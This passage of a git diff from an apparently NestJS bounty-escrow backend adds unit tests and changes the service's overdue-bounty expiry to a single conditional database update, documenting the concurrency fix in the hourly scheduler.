expect(stored.claimedById).toBeNull(); + }); + + it('markMergedAndRelease releases escrow to the contributor and moves to PAID', async () => { + bountyRepo.findOne.mockResolvedValue({ + id: 'b1', + status: BountyStatus.IN_REVIEW, + escrowId: 'escrow-1', + claimedById: 'contributor-1', + teamId: null, + }); + userRepo.findOne.mockResolvedValue({ + id: 'contributor-1', + stellarAddress: 'GCONTRIB', + }); + + const bounty = await service.markMergedAndRelease('b1'); + + expect(escrowService.release).toHaveBeenCalledWith( + 'escrow-1', + 'GCONTRIB', + 'contributor-1', + ); + expect(bounty.status).toBe(BountyStatus.PAID); + }); + + it('markMergedAndRelease batches user lookups for team splits', async () => { + bountyRepo.findOne.mockResolvedValue({ + id: 'b1', + status: BountyStatus.IN_REVIEW, + escrowId: 'escrow-1', + claimedById: null, + teamId: 'team-1', + }); + teamRepo.findOne.mockResolvedValue({ + id: 'team-1', + splits: [ + { userId: 'u1', percentage: 60 }, + { userId: 'u2', percentage: 40 }, + ], + }); + userRepo.find.mockResolvedValue([ + { id: 'u1', stellarAddress: 'GADDR1' }, + { id: 'u2', stellarAddress: 'GADDR2' }, + ]); + + const bounty = await service.markMergedAndRelease('b1'); + + expect(userRepo.find).toHaveBeenCalledTimes(1); + const findCall = userRepo.find.mock.calls[0][0]; + expect(findCall.where.id._value).toEqual( + expect.arrayContaining(['u1', 'u2']), + ); + expect(escrowService.splitRelease).toHaveBeenCalledWith('escrow-1', [ + { recipientId: 'u1', recipientAddress: 'GADDR1', percentage: 60 }, + { recipientId: 'u2', recipientAddress: 'GADDR2', percentage: 40 }, + ]); + expect(bounty.status).toBe(BountyStatus.PAID); + }); + + it('refund calls escrowService.refund and moves bounty to REFUNDED', async () => { + bountyRepo.findOne.mockResolvedValue({ + id: 'b1', + status: BountyStatus.FUNDED, + escrowId: 'escrow-1', + }); + + const bounty = await service.refund('b1'); + + expect(escrowService.refund).toHaveBeenCalledWith('escrow-1'); + expect(bounty.status).toBe(BountyStatus.REFUNDED); + }); + + it('refund skips escrow refund when no escrow is linked', async () => { + bountyRepo.findOne.mockResolvedValue({ + id: 'b1', + status: BountyStatus.OPEN, + escrowId: null, + }); + + const bounty = await service.refund('b1'); + + expect(escrowService.refund).not.toHaveBeenCalled(); + expect(bounty.status).toBe(BountyStatus.REFUNDED); + }); + + it('expireOverdue atomically flips overdue bounties to EXPIRED via a conditional update and returns affected count', async () => { + const qb = { + update: jest.fn().mockReturnThis(), + set: jest.fn().mockReturnThis(), + where: jest.fn().mockReturnThis(), + andWhere: jest.fn().mockReturnThis(), + execute: jest.fn().mockResolvedValue({ affected: 2 }), + }; + bountyRepo.createQueryBuilder.mockReturnValue(qb); + + const count = await service.expireOverdue(); + + expect(count).toBe(2); + expect(qb.set).toHaveBeenCalledWith({ status: BountyStatus.EXPIRED }); + expect(qb.andWhere).toHaveBeenCalledWith( + 'status IN (:...statuses)', + { statuses: [BountyStatus.OPEN, BountyStatus.FUNDED, BountyStatus.CLAIMED] }, + ); + expect(bountyRepo.save).not.toHaveBeenCalled(); + }); + + it('expireOverdue does not expire a bounty whose status advanced after it was read', async () => { + // Simulates a concurrent webhook moving CLAIMED -> IN_REVIEW between the + // scan and the write: the conditional UPDATE matches zero rows. + const qb = { + update: jest.fn().mockReturnThis(), + set: jest.fn().mockReturnThis(), + where: jest.fn().mockReturnThis(), + andWhere: jest.fn().mockReturnThis(), + execute: jest.fn().mockResolvedValue({ affected: 0 }), + }; + bountyRepo.createQueryBuilder.mockReturnValue(qb); + + const count = await service.expireOverdue(); + + expect(count).toBe(0); + expect(qb.andWhere).toHaveBeenCalledWith( + 'status IN (:...statuses)', + { statuses: [BountyStatus.OPEN, BountyStatus.FUNDED, BountyStatus.CLAIMED] }, + ); + expect(bountyRepo.save).not.toHaveBeenCalled(); + }); + + it('markPrClosedWithoutMerge transitions IN_REVIEW back to CLAIMED', async () => { + bountyRepo.findOne.mockResolvedValue({ + id: 'b1', + status: BountyStatus.IN_REVIEW, + prUrl: 'https://github.com/x/y/pull/1', + prNumber: 1, + }); + + const bounty = await service.markPrClosedWithoutMerge('b1'); + + expect(bounty.status).toBe(BountyStatus.CLAIMED); + expect(bounty.prUrl).toBeNull(); + expect(bounty.prNumber).toBeNull(); + }); + + it('markPrClosedWithoutMerge rejects bounties not in IN_REVIEW', async () => { + bountyRepo.findOne.mockResolvedValue({ + id: 'b1', + status: BountyStatus.CLAIMED, + }); + + await expect(service.markPrClosedWithoutMerge('b1')).rejects.toThrow( + InvalidBountyTransitionError, + ); + }); + + it('lists bounties with repository and language filters', async () => { + const qb = { + leftJoinAndSelect: jest.fn().mockReturnThis(), + andWhere: jest.fn().mockReturnThis(), + getMany: jest.fn().mockResolvedValue([]), + }; + bountyRepo.createQueryBuilder.mockReturnValue(qb); + + await service.list({ + status: BountyStatus.OPEN, + difficulty: BountyDifficulty.BEGINNER, + asset: AssetType.USDC, + repositoryId: 'repo-1', + primaryLanguage: 'TypeScript', + }); + + expect(bountyRepo.createQueryBuilder).toHaveBeenCalledWith('bounty'); + expect(qb.leftJoinAndSelect).toHaveBeenCalledWith('bounty.issue', 'issue'); + expect(qb.leftJoinAndSelect).toHaveBeenCalledWith( + 'issue.repository', + 'repository', + ); + expect(qb.andWhere).toHaveBeenCalledWith('bounty.status = :status', { + status: BountyStatus.OPEN, + }); + expect(qb.andWhere).toHaveBeenCalledWith( + 'bounty.difficulty = :difficulty', + { difficulty: BountyDifficulty.BEGINNER }, + ); + expect(qb.andWhere).toHaveBeenCalledWith('bounty.asset = :asset', { + asset: AssetType.USDC, + }); + expect(qb.andWhere).toHaveBeenCalledWith( + 'issue.repositoryId = :repositoryId', + { repositoryId: 'repo-1' }, + ); + expect(qb.andWhere).toHaveBeenCalledWith( + 'repository.primaryLanguage = :primaryLanguage', + { primaryLanguage: 'TypeScript' }, + ); + }); +}); + +// Standalone: approve/reject touch no dependencies, so they're tested without +// the shared TestingModule above. +describe('BountiesService approve / reject (#533)', () => { + const service = Object.create(BountiesService.prototype) as BountiesService; + + it('answer 501 instead of reporting a fake approval or rejection', async () => { + await expect(service.approve('b1')).rejects.toBeInstanceOf( + NotImplementedException, + ); + await expect(service.reject('b1')).rejects.toBeInstanceOf( + NotImplementedException, + ); + }); +}); diff --git a/src/bounties/bounties.service.ts b/src/bounties/bounties.service.ts index b1a0f8a5..76cae06c 100644 --- a/src/bounties/bounties.service.ts +++ b/src/bounties/bounties.service.ts @@ -1,356 +1,355 @@ -import { - BadRequestException, - ForbiddenException, - Injectable, - NotFoundException, - NotImplementedException, - Optional, -} from '@nestjs/common'; -import { EventEmitter2 } from '@nestjs/event-emitter'; -import { InjectRepository } from '@nestjs/typeorm'; -import { In, Repository } from 'typeorm'; -import { Bounty, Issue, Team, User } from '../common/entities'; -import { AssetType, BountyDifficulty, BountyStatus } from '../common/enums'; -import { ANALYTICS_PLATFORM_INVALIDATE_EVENT } from '../analytics/analytics.events'; -import { assertTransition } from './bounty-state-machine'; -import { EscrowService } from '../escrow/escrow.service'; -import { CreateBountyDto } from './dto/create-bounty.dto'; - -export interface ListBountiesOptions { - status?: BountyStatus; - difficulty?: BountyDifficulty; - asset?: AssetType; - repositoryId?: string; - primaryLanguage?: string; -} - -@Injectable() -export class BountiesService { - constructor( - @InjectRepository(Bounty) private readonly bountyRepo: Repository, - @InjectRepository(User) private readonly userRepo: Repository, - @InjectRepository(Team) private readonly teamRepo: Repository, - @InjectRepository(Issue) private readonly issueRepo: Repository, - private readonly escrowService: EscrowService, - @Optional() private readonly eventEmitter?: EventEmitter2, - ) {} - - async create(dto: CreateBountyDto, callerUserId: string): Promise { - // Verify issueId exists - const issueExists = await this.issueRepo.findOne({ - where: { id: dto.issueId }, - }); - if (!issueExists) { - throw new NotFoundException(`Issue ${dto.issueId} not found`); - } - - // Verify sponsorId exists - const sponsorExists = await this.userRepo.findOne({ - where: { id: dto.sponsorId }, - }); - if (!sponsorExists) { - throw new NotFoundException(`Sponsor ${dto.sponsorId} not found`); - } - - const bounty = this.bountyRepo.create({ - issueId: dto.issueId, - sponsorId: dto.sponsorId, - amount: dto.amount, - asset: dto.asset, - difficulty: dto.difficulty, - deadline: dto.deadline ? new Date(dto.deadline) : null, - status: BountyStatus.OPEN, - }); - const saved = await this.bountyRepo.save(bounty); - this.eventEmitter?.emit(ANALYTICS_PLATFORM_INVALIDATE_EVENT); - return saved; - } - - async findOne(id: string): Promise { - const bounty = await this.bountyRepo.findOne({ - where: { id }, - relations: { - issue: { repository: true }, - claimedBy: true, - team: { splits: true }, - }, - }); - if (!bounty) throw new NotFoundException(`Bounty ${id} not found`); - return bounty; - } - - /** Sponsor funds the bounty: locks the amount in the escrow contract and moves OPEN -> FUNDED. */ - async fund( - id: string, - funderAddress: string, - callerUserId: string, - ): Promise { - const bounty = await this.bountyRepo.findOne({ - where: { id }, - relations: { issue: true }, - }); - if (!bounty) throw new NotFoundException(`Bounty ${id} not found`); - - // Verify caller is the sponsor (or admin - admin role checked by guard) - if (bounty.sponsorId !== callerUserId) { - throw new ForbiddenException( - 'Only the bounty sponsor can fund this bounty', - ); - } - - assertTransition(bounty.status, BountyStatus.FUNDED); - - const escrow = await this.escrowService.fund({ - amount: bounty.amount, - asset: bounty.asset, - funderAddress, - bountyId: bounty.id, - sponsorId: bounty.sponsorId, - // The on-chain escrow contract is keyed by the GitHub issue id (#158). - onChainIssueId: bounty.issue?.githubIssueId ?? null, - deadline: bounty.deadline, - }); - - bounty.escrow = escrow; - bounty.escrowId = escrow.id; - bounty.status = BountyStatus.FUNDED; - return this.bountyRepo.save(bounty); - } - - /** Contributor claims a funded bounty. */ - async claim(id: string, callerUserId: string): Promise { - const bounty = await this.findOne(id); - assertTransition(bounty.status, BountyStatus.CLAIMED); - - // The claimant is always the authenticated caller (#469); never a client-supplied id. - const contributor = await this.userRepo.findOne({ - where: { id: callerUserId }, - }); - if (!contributor) { - throw new BadRequestException( - `Contributor ${callerUserId} does not correspond to a known user`, - ); - } - if (!contributor.stellarAddress) { - throw new BadRequestException( - `Contributor ${callerUserId} has no linked Stellar address`, - ); - } - - bounty.claimedById = callerUserId; - bounty.status = BountyStatus.CLAIMED; - bounty.claimedAt = new Date(); - return this.bountyRepo.save(bounty); - } - - /** A PR referencing the issue was opened. */ - async markInReview( - id: string, - prUrl: string, - prNumber: number, - ): Promise { - const bounty = await this.findOne(id); - assertTransition(bounty.status, BountyStatus.IN_REVIEW); - - bounty.status = BountyStatus.IN_REVIEW; - bounty.prUrl = prUrl; - bounty.prNumber = prNumber; - return this.bountyRepo.save(bounty); - } - - /** The linked PR was closed without merging — move bounty back to CLAIMED. */ - async markPrClosedWithoutMerge(id: string): Promise { - const bounty = await this.findOne(id); - assertTransition(bounty.status, BountyStatus.CLAIMED); - - bounty.status = BountyStatus.CLAIMED; - bounty.prUrl = null; - bounty.prNumber = null; - return this.bountyRepo.save(bounty); - } - - /** - * The linked PR was merged on GitHub. Transitions to MERGED and immediately - * triggers the escrow release (single recipient or team split), moving to - * PAID once the on-chain release call succeeds. - */ - async markMergedAndRelease(id: string): Promise { - const bounty = await this.findOne(id); - assertTransition(bounty.status, BountyStatus.MERGED); - - const previousStatus = bounty.status; - bounty.status = BountyStatus.MERGED; - bounty.mergedAt = new Date(); - await this.bountyRepo.save(bounty); - - if (!bounty.escrowId) { - // No escrow was ever funded (e.g. informally tracked bounty) — nothing to release. - return bounty; - } - - try { - if (bounty.teamId) { - const team = await this.teamRepo.findOne({ - where: { id: bounty.teamId }, - relations: { splits: true }, - }); - if (team && team.splits.length > 0) { - const userIds = team.splits.map((s) => s.userId); - const users = await this.userRepo.find({ - where: { id: In(userIds) }, - }); - const userMap = new Map(users.map((u) => [u.id, u])); - const recipients = team.splits.map((split) => { - const user = userMap.get(split.userId); - return { - recipientId: split.userId, - recipientAddress: user?.stellarAddress ?? '', - percentage: Number(split.percentage), - }; - }); - await this.escrowService.splitRelease(bounty.escrowId, recipients); - } - } else if (bounty.claimedById) { - const contributor = await this.userRepo.findOne({ - where: { id: bounty.claimedById }, - }); - await this.escrowService.release( - bounty.escrowId, - contributor?.stellarAddress ?? '', - bounty.claimedById, - ); - } - } catch (err) { - // Escrow release failed — transition to RELEASE_FAILED so the bounty - // is not permanently stuck. A retry via markMergedAndRelease is - // possible because the state machine allows RELEASE_FAILED -> MERGED. - assertTransition(bounty.status, BountyStatus.RELEASE_FAILED); - bounty.status = BountyStatus.RELEASE_FAILED; - await this.bountyRepo.save(bounty); - throw err; - } - - assertTransition(bounty.status, BountyStatus.PAID); - bounty.status = BountyStatus.PAID; - bounty.paidAt = new Date(); - const paid = await this.bountyRepo.save(bounty); - this.eventEmitter?.emit(ANALYTICS_PLATFORM_INVALIDATE_EVENT); - return paid; - } - - /** Sponsor (or admin/expiry job) reclaims escrowed funds. */ - /** - * Refunds a bounty to its funder. Allowed for the bounty's sponsor and for - * the maintainer of the repository the bounty's issue belongs to, e.g. to - * unwind an abandoned bounty (#545). The route admits SPONSOR and - * MAINTAINER, but a maintainer of some *other* repository is still - * rejected. Safe to open up: escrow refunds always pay the original funder, - * never the caller. - */ - async refund(id: string, callerUserId: string): Promise { - const bounty = await this.bountyRepo.findOne({ - where: { id }, - relations: { issue: { repository: true } }, - }); - if (!bounty) throw new NotFoundException(`Bounty ${id} not found`); - - const isSponsor = bounty.sponsorId === callerUserId; - const isRepoMaintainer = - !!bounty.issue?.repository?.maintainerId && - bounty.issue.repository.maintainerId === callerUserId; - if (!isSponsor && !isRepoMaintainer) { - throw new ForbiddenException( - "Only the bounty sponsor or the repository's maintainer can refund this bounty", - ); - } - - assertTransition(bounty.status, BountyStatus.REFUNDED); - - if (bounty.escrowId) { - await this.escrowService.refund(bounty.escrowId); - } - - bounty.status = BountyStatus.REFUNDED; - return this.bountyRepo.save(bounty); - } - - /** Marks bounties whose deadline has passed and that were never merged as expired. */ - async expireOverdue(): Promise { - const overdue = await this.bountyRepo - .createQueryBuilder('bounty') - .where('bounty.deadline IS NOT NULL AND bounty.deadline < :now', { - now: new Date(), - }) - .andWhere('bounty.status IN (:...statuses)', { - statuses: [ - BountyStatus.OPEN, - BountyStatus.FUNDED, - BountyStatus.CLAIMED, - ], - }) - .getMany(); - - for (const bounty of overdue) { - bounty.status = BountyStatus.EXPIRED; - await this.bountyRepo.save(bounty); - } - return overdue.length; - } - - async list(options: ListBountiesOptions = {}): Promise { - const qb = this.bountyRepo - .createQueryBuilder('bounty') - .leftJoinAndSelect('bounty.issue', 'issue') - .leftJoinAndSelect('issue.repository', 'repository') - .leftJoinAndSelect('bounty.claimedBy', 'claimedBy') - .leftJoinAndSelect('bounty.team', 'team') - .leftJoinAndSelect('team.splits', 'splits'); - - if (options.status) { - qb.andWhere('bounty.status = :status', { status: options.status }); - } - if (options.difficulty) { - qb.andWhere('bounty.difficulty = :difficulty', { - difficulty: options.difficulty, - }); - } - if (options.asset) { - qb.andWhere('bounty.asset = :asset', { asset: options.asset }); - } - if (options.repositoryId) { - qb.andWhere('issue.repositoryId = :repositoryId', { - repositoryId: options.repositoryId, - }); - } - if (options.primaryLanguage) { - qb.andWhere('repository.primaryLanguage = :primaryLanguage', { - primaryLanguage: options.primaryLanguage, - }); - } - - return qb.getMany(); - } - - /** - * Not implemented yet (#253, #533). This used to resolve - * `{ id, status: 'approved' }` without reading or writing anything, so the - * route reported success for an approval that never happened. It now - * answers 501 until the real approval flow exists. - */ - approve(id: string): Promise { - return Promise.reject( - new NotImplementedException( - `Bounty approval is not implemented yet (bounty ${id})`, - ), - ); - } - - /** Not implemented yet (#253, #533) — see `approve`. */ - reject(id: string): Promise { - return Promise.reject( - new NotImplementedException( - `Bounty rejection is not implemented yet (bounty ${id})`, - ), - ); - } -} +import { + BadRequestException, + ForbiddenException, + Injectable, + NotFoundException, + NotImplementedException, + Optional, +} from '@nestjs/common'; +import { EventEmitter2 } from '@nestjs/event-emitter'; +import { InjectRepository } from '@nestjs/typeorm'; +import { In, Repository } from 'typeorm'; +import { Bounty, Issue, Team, User } from '../common/entities'; +import { AssetType, BountyDifficulty, BountyStatus } from '../common/enums'; +import { ANALYTICS_PLATFORM_INVALIDATE_EVENT } from '../analytics/analytics.events'; +import { assertTransition } from './bounty-state-machine'; +import { EscrowService } from '../escrow/escrow.service'; +import { CreateBountyDto } from './dto/create-bounty.dto'; + +export interface ListBountiesOptions { + status?: BountyStatus; + difficulty?: BountyDifficulty; + asset?: AssetType; + repositoryId?: string; + primaryLanguage?: string; +} + +@Injectable() +export class BountiesService { + constructor( + @InjectRepository(Bounty) private readonly bountyRepo: Repository, + @InjectRepository(User) private readonly userRepo: Repository, + @InjectRepository(Team) private readonly teamRepo: Repository, + @InjectRepository(Issue) private readonly issueRepo: Repository, + private readonly escrowService: EscrowService, + @Optional() private readonly eventEmitter?: EventEmitter2, + ) {} + + async create(dto: CreateBountyDto, callerUserId: string): Promise { + // Verify issueId exists + const issueExists = await this.issueRepo.findOne({ + where: { id: dto.issueId }, + }); + if (!issueExists) { + throw new NotFoundException(`Issue ${dto.issueId} not found`); + } + + // Verify sponsorId exists + const sponsorExists = await this.userRepo.findOne({ + where: { id: dto.sponsorId }, + }); + if (!sponsorExists) { + throw new NotFoundException(`Sponsor ${dto.sponsorId} not found`); + } + + const bounty = this.bountyRepo.create({ + issueId: dto.issueId, + sponsorId: dto.sponsorId, + amount: dto.amount, + asset: dto.asset, + difficulty: dto.difficulty, + deadline: dto.deadline ? new Date(dto.deadline) : null, + status: BountyStatus.OPEN, + }); + const saved = await this.bountyRepo.save(bounty); + this.eventEmitter?.emit(ANALYTICS_PLATFORM_INVALIDATE_EVENT); + return saved; + } + + async findOne(id: string): Promise { + const bounty = await this.bountyRepo.findOne({ + where: { id }, + relations: { + issue: { repository: true }, + claimedBy: true, + team: { splits: true }, + }, + }); + if (!bounty) throw new NotFoundException(`Bounty ${id} not found`); + return bounty; + } + + /** Sponsor funds the bounty: locks the amount in the escrow contract and moves OPEN -> FUNDED. */ + async fund( + id: string, + funderAddress: string, + callerUserId: string, + ): Promise { + const bounty = await this.bountyRepo.findOne({ + where: { id }, + relations: { issue: true }, + }); + if (!bounty) throw new NotFoundException(`Bounty ${id} not found`); + + // Verify caller is the sponsor (or admin - admin role checked by guard) + if (bounty.sponsorId !== callerUserId) { + throw new ForbiddenException( + 'Only the bounty sponsor can fund this bounty', + ); + } + + assertTransition(bounty.status, BountyStatus.FUNDED); + + const escrow = await this.escrowService.fund({ + amount: bounty.amount, + asset: bounty.asset, + funderAddress, + bountyId: bounty.id, + sponsorId: bounty.sponsorId, + // The on-chain escrow contract is keyed by the GitHub issue id (#158). + onChainIssueId: bounty.issue?.githubIssueId ?? null, + deadline: bounty.deadline, + }); + + bounty.escrow = escrow; + bounty.escrowId = escrow.id; + bounty.status = BountyStatus.FUNDED; + return this.bountyRepo.save(bounty); + } + + /** Contributor claims a funded bounty. */ + async claim(id: string, callerUserId: string): Promise { + const bounty = await this.findOne(id); + assertTransition(bounty.status, BountyStatus.CLAIMED); + + // The claimant is always the authenticated caller (#469); never a client-supplied id. + const contributor = await this.userRepo.findOne({ + where: { id: callerUserId }, + }); + if (!contributor) { + throw new BadRequestException( + `Contributor ${callerUserId} does not correspond to a known user`, + ); + } + if (!contributor.stellarAddress) { + throw new BadRequestException( + `Contributor ${callerUserId} has no linked Stellar address`, + ); + } + + bounty.claimedById = callerUserId; + bounty.status = BountyStatus.CLAIMED; + bounty.claimedAt = new Date(); + return this.bountyRepo.save(bounty); + } + + /** A PR referencing the issue was opened. */ + async markInReview( + id: string, + prUrl: string, + prNumber: number, + ): Promise { + const bounty = await this.findOne(id); + assertTransition(bounty.status, BountyStatus.IN_REVIEW); + + bounty.status = BountyStatus.IN_REVIEW; + bounty.prUrl = prUrl; + bounty.prNumber = prNumber; + return this.bountyRepo.save(bounty); + } + + /** The linked PR was closed without merging — move bounty back to CLAIMED. */ + async markPrClosedWithoutMerge(id: string): Promise { + const bounty = await this.findOne(id); + assertTransition(bounty.status, BountyStatus.CLAIMED); + + bounty.status = BountyStatus.CLAIMED; + bounty.prUrl = null; + bounty.prNumber = null; + return this.bountyRepo.save(bounty); + } + + /** + * The linked PR was merged on GitHub. Transitions to MERGED and immediately + * triggers the escrow release (single recipient or team split), moving to + * PAID once the on-chain release call succeeds. + */ + async markMergedAndRelease(id: string): Promise { + const bounty = await this.findOne(id); + assertTransition(bounty.status, BountyStatus.MERGED); + + const previousStatus = bounty.status; + bounty.status = BountyStatus.MERGED; + bounty.mergedAt = new Date(); + await this.bountyRepo.save(bounty); + + if (!bounty.escrowId) { + // No escrow was ever funded (e.g. informally tracked bounty) — nothing to release. + return bounty; + } + + try { + if (bounty.teamId) { + const team = await this.teamRepo.findOne({ + where: { id: bounty.teamId }, + relations: { splits: true }, + }); + if (team && team.splits.length > 0) { + const userIds = team.splits.map((s) => s.userId); + const users = await this.userRepo.find({ + where: { id: In(userIds) }, + }); + const userMap = new Map(users.map((u) => [u.id, u])); + const recipients = team.splits.map((split) => { + const user = userMap.get(split.userId); + return { + recipientId: split.userId, + recipientAddress: user?.stellarAddress ?? '', + percentage: Number(split.percentage), + }; + }); + await this.escrowService.splitRelease(bounty.escrowId, recipients); + } + } else if (bounty.claimedById) { + const contributor = await this.userRepo.findOne({ + where: { id: bounty.claimedById }, + }); + await this.escrowService.release( + bounty.escrowId, + contributor?.stellarAddress ?? '', + bounty.claimedById, + ); + } + } catch (err) { + // Escrow release failed — transition to RELEASE_FAILED so the bounty + // is not permanently stuck. A retry via markMergedAndRelease is + // possible because the state machine allows RELEASE_FAILED -> MERGED. + assertTransition(bounty.status, BountyStatus.RELEASE_FAILED); + bounty.status = BountyStatus.RELEASE_FAILED; + await this.bountyRepo.save(bounty); + throw err; + } + + assertTransition(bounty.status, BountyStatus.PAID); + bounty.status = BountyStatus.PAID; + bounty.paidAt = new Date(); + const paid = await this.bountyRepo.save(bounty); + this.eventEmitter?.emit(ANALYTICS_PLATFORM_INVALIDATE_EVENT); + return paid; + } + + /** Sponsor (or admin/expiry job) reclaims escrowed funds. */ + /** + * Refunds a bounty to its funder. Allowed for the bounty's sponsor and for + * the maintainer of the repository the bounty's issue belongs to, e.g. to + * unwind an abandoned bounty (#545). The route admits SPONSOR and + * MAINTAINER, but a maintainer of some *other* repository is still + * rejected. Safe to open up: escrow refunds always pay the original funder, + * never the caller. + */ + async refund(id: string, callerUserId: string): Promise { + const bounty = await this.bountyRepo.findOne({ + where: { id }, + relations: { issue: { repository: true } }, + }); + if (!bounty) throw new NotFoundException(`Bounty ${id} not found`); + + const isSponsor = bounty.sponsorId === callerUserId; + const isRepoMaintainer = + !!bounty.issue?.repository?.maintainerId && + bounty.issue.repository.maintainerId === callerUserId; + if (!isSponsor && !isRepoMaintainer) { + throw new ForbiddenException( + "Only the bounty sponsor or the repository's maintainer can refund this bounty", + ); + } + + assertTransition(bounty.status, BountyStatus.REFUNDED); + + if (bounty.escrowId) { + await this.escrowService.refund(bounty.escrowId); + } + + bounty.status = BountyStatus.REFUNDED; + return this.bountyRepo.save(bounty); + } + + /** + * Marks bounties whose deadline has passed and that were never merged as + * expired. The status filter and the write are a single conditional UPDATE, + * so a bounty advanced concurrently (e.g. CLAIMED -> IN_REVIEW/MERGED/PAID) + * is never overwritten with a stale status. + */ + async expireOverdue(): Promise { + const expirable: BountyStatus[] = [ + BountyStatus.OPEN, + BountyStatus.FUNDED, + BountyStatus.CLAIMED, + ]; + const result = await this.bountyRepo + .createQueryBuilder() + .update(Bounty) + .set({ status: BountyStatus.EXPIRED }) + .where('deadline IS NOT NULL AND deadline < :now', { now: new Date() }) + .andWhere('status IN (:...statuses)', { statuses: expirable }) + .execute(); + return result.affected ?? 0; + } + + async list(options: ListBountiesOptions = {}): Promise { + const qb = this.bountyRepo + .createQueryBuilder('bounty') + .leftJoinAndSelect('bounty.issue', 'issue') + .leftJoinAndSelect('issue.repository', 'repository') + .leftJoinAndSelect('bounty.claimedBy', 'claimedBy') + .leftJoinAndSelect('bounty.team', 'team') + .leftJoinAndSelect('team.splits', 'splits'); + + if (options.status) { + qb.andWhere('bounty.status = :status', { status: options.status }); + } + if (options.difficulty) { + qb.andWhere('bounty.difficulty = :difficulty', { + difficulty: options.difficulty, + }); + } + if (options.asset) { + qb.andWhere('bounty.asset = :asset', { asset: options.asset }); + } + if (options.repositoryId) { + qb.andWhere('issue.repositoryId = :repositoryId', { + repositoryId: options.repositoryId, + }); + } + if (options.primaryLanguage) { + qb.andWhere('repository.primaryLanguage = :primaryLanguage', { + primaryLanguage: options.primaryLanguage, + }); + } + + return qb.getMany(); + } + + /** + * Not implemented yet (#253, #533). This used to resolve + * `{ id, status: 'approved' }` without reading or writing anything, so the + * route reported success for an approval that never happened. It now + * answers 501 until the real approval flow exists. + */ + approve(id: string): Promise { + return Promise.reject( + new NotImplementedException( + `Bounty approval is not implemented yet (bounty ${id})`, + ), + ); + } + + /** Not implemented yet (#253, #533) — see `approve`. */ + reject(id: string): Promise { + return Promise.reject( + new NotImplementedException( + `Bounty rejection is not implemented yet (bounty ${id})`, + ), + ); + } +} diff --git a/src/bounties/bounty-expiry.scheduler.ts b/src/bounties/bounty-expiry.scheduler.ts index 58b79c91..009dcd78 100644 --- a/src/bounties/bounty-expiry.scheduler.ts +++ b/src/bounties/bounty-expiry.scheduler.ts @@ -1,65 +1,70 @@ -import { Injectable, Logger, Optional } from '@nestjs/common'; -import { Cron, CronExpression } from '@nestjs/schedule'; -import { DataSource } from 'typeorm'; -import { BountiesService } from './bounties.service'; - -/** - * Runs `BountiesService.expireOverdue()` on a schedule. - * - * Without this the deadline sweep is dead code — nothing in the application - * ever calls it, so a bounty past its deadline keeps its - * OPEN/FUNDED/CLAIMED status forever (#152). Mirrors the hourly `@Cron` - * sweep in `IdempotencyCleanupService`. - * - * This is deliberately independent of (and runs prior to) any on-chain - * auto-refund follow-up for expired FUNDED bounties (#26): the local status - * flip has to happen regardless. - */ -@Injectable() -export class BountyExpiryScheduler { - private readonly logger = new Logger(BountyExpiryScheduler.name); - - constructor( - private readonly bountiesService: BountiesService, - @Optional() private readonly dataSource?: DataSource, - ) {} - - @Cron(CronExpression.EVERY_HOUR) - async sweepOverdueBounties(): Promise { - if (process.env.RUN_SCHEDULERS === 'false') { - return; - } - - const lockId = 847291; - let lockAcquired = true; - if (this.dataSource?.isInitialized) { - try { - const res = await this.dataSource.query( - 'SELECT pg_try_advisory_lock($1) as acquired', - [lockId], - ); - lockAcquired = res?.[0]?.acquired ?? true; - } catch { - lockAcquired = true; - } - } - - if (!lockAcquired) { - this.logger.debug('Skipping sweep: another instance holds advisory lock'); - return; - } - - try { - const expired = await this.bountiesService.expireOverdue(); - if (expired > 0) { - this.logger.log(`Expired ${expired} overdue bounty(ies)`); - } - } finally { - if (this.dataSource?.isInitialized && lockAcquired) { - await this.dataSource - .query('SELECT pg_advisory_unlock($1)', [lockId]) - .catch(() => {}); - } - } - } -} +import { Injectable, Logger, Optional } from '@nestjs/common'; +import { Cron, CronExpression } from '@nestjs/schedule'; +import { DataSource } from 'typeorm'; +import { BountiesService } from './bounties.service'; + +/** + * Runs `BountiesService.expireOverdue()` on a schedule. + * + * Without this the deadline sweep is dead code — nothing in the application + * ever calls it, so a bounty past its deadline keeps its + * OPEN/FUNDED/CLAIMED status forever (#152). Mirrors the hourly `@Cron` + * sweep in `IdempotencyCleanupService`. + * + * This is deliberately independent of (and runs prior to) any on-chain + * auto-refund follow-up for expired FUNDED bounties (#26): the local status + * flip has to happen regardless. + * + * Concurrency note: `expireOverdue()` performs a single conditional UPDATE + * that only touches rows still in OPEN/FUNDED/CLAIMED at write time, so a + * bounty advanced concurrently by a webhook (e.g. CLAIMED -> IN_REVIEW -> + * MERGED/PAID) is never clobbered back to EXPIRED. + */ +@Injectable() +export class BountyExpiryScheduler { + private readonly logger = new Logger(BountyExpiryScheduler.name); + + constructor( + private readonly bountiesService: BountiesService, + @Optional() private readonly dataSource?: DataSource, + ) {} + + @Cron(CronExpression.EVERY_HOUR) + async sweepOverdueBounties(): Promise { + if (process.env.RUN_SCHEDULERS === 'false') { + return; + } + + const lockId = 847291; + let lockAcquired = true; + if (this.dataSource?.isInitialized) { + try { + const res = await this.dataSource.query( + 'SELECT pg_try_advisory_lock($1) as acquired', + [lockId], + ); + lockAcquired = res?.[0]?.acquired ?? true; + } catch { + lockAcquired = true; + } + } + + if (!lockAcquired) { + this.logger.debug('Skipping sweep: another instance holds advisory lock'); + return; + } + + try { + const expired = await this.bountiesService.expireOverdue(); + if (expired > 0) { + this.logger.log(`Expired ${expired} overdue bounty(ies)`); + } + } finally { + if (this.dataSource?.isInitialized && lockAcquired) { + await this.dataSource + .query('SELECT pg_advisory_unlock($1)', [lockId]) + .catch(() => {}); + } + } + } +}